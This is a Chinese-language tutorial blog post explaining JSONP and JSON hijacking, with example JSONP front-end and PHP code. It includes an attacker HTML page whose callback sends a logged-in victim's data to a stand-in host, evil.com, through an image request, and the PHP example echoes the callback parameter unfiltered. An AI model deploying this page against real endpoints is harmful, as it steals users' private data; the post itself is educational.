淺談JSON HiJacking攻擊

JSON HiJacking攻擊:

JSON劫持相似於CSRF攻擊,爲了瞭解這種攻擊方式,咱們先看一下Web開發中一種經常使用的跨域獲取數據的方式:JSONP。javascript

先說一下JSON吧,JSON是一種數據格式,主要由字典(鍵值對)和列表兩種存在形式,而且這兩種形式也能夠互相嵌套,很是多的應用於數據傳輸的過程當中。因爲JSON的可讀性強,而且很適合JavaScript這樣的語言處理,已經取代XML格式成爲主流。php

JSONP(JSON with Padding)是一個非官方的協議,是Web前端的JavaScript跨域獲取數據的一種方式。咱們知道,JavaScript在讀寫數據時受到同源策略的限制,不能夠讀寫其餘域的數據,因而你們想出了這樣一種辦法:html

前端html代碼:前端

<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function jsonpCallback(result) { 
        alert(result.a); 
        alert(result.b);
        alert(result.c); 
        for(var i in result) { 
            alert(i+":"+result[i]);//循環輸出a:1,b:2,etc. 
        } 
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=jsonpCallback"></script>

後端的php代碼:java

<?php 
//服務端返回JSON數據 
$arr=array('a'=>1,'b'=>2,'c'=>3,'d'=>4,'e'=>5); 
$result=json_encode($arr); 
//echo $_GET['callback'].'("Hello,World!")'; 
//echo $_GET['callback']."($result)";
//動態執行回調函數 
$callback=$_GET['callback']; 
echo $callback."($result)";
?>

能夠看到,前端先是定義了jsonpCallback函數來處理後端返回的JSON數據,而後利用script標籤的src屬性跨域獲取數據(前面說到帶src屬性的html標籤均可以跨域),而且把剛纔定義的回調函數的名稱傳遞給了後端,因而後端構造出「jsonpCallback({「a」:1, 「b」:2, 「c」:3, 「d」:4, 「e」:5})」的函數調用過程返回到前端執行,達到了跨域獲取數據的目的。json

一句話描述JSONP:前端定義函數卻在後端完成調用而後回到前端執行!後端

明白了JSONP的調用過程以後,咱們能夠想象這樣的場景:跨域

當用戶經過身份認證以後,前端會經過JSONP的方式從服務端獲取該用戶的隱私數據,而後在前端進行一些處理,如個性化顯示等等。這個JSONP的調用接口若是沒有作相應的防禦,就容易受到JSON HiJacking的攻擊。服務器

就以上面講JSONP的情景爲例,攻擊者能夠構造如下html頁面:dom

<html>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> 
<script type="text/javascript"> 
    function hijack(result) { 
        var data = '';
        for(var i in result) {
            data += i + ':' + result[i];
        }
        new Image().src = "http://www.evil.com/JSONHiJacking.php?data=" + escape(data);//把數據發送到攻擊者服務器上
    } 
</script> 
<script type="text/javascript" src="http://crossdomain.com/services.php?callback=hijack"></script>
</html>

能夠看到,攻擊者在頁面中構造了本身的回調函數,把獲取的數據都發送到了本身的服務器上。若是受害者在已經通過身份認證的狀況下訪問了攻擊者構造的頁面,其隱私將暴露無疑。

咱們用如下幾張圖來總結一下JSON HiJacking的攻擊過程:

(圖片來源:http://haacked.com/archive/2009/06/25/json-hijacking.aspx/

相關文章
相關標籤/搜索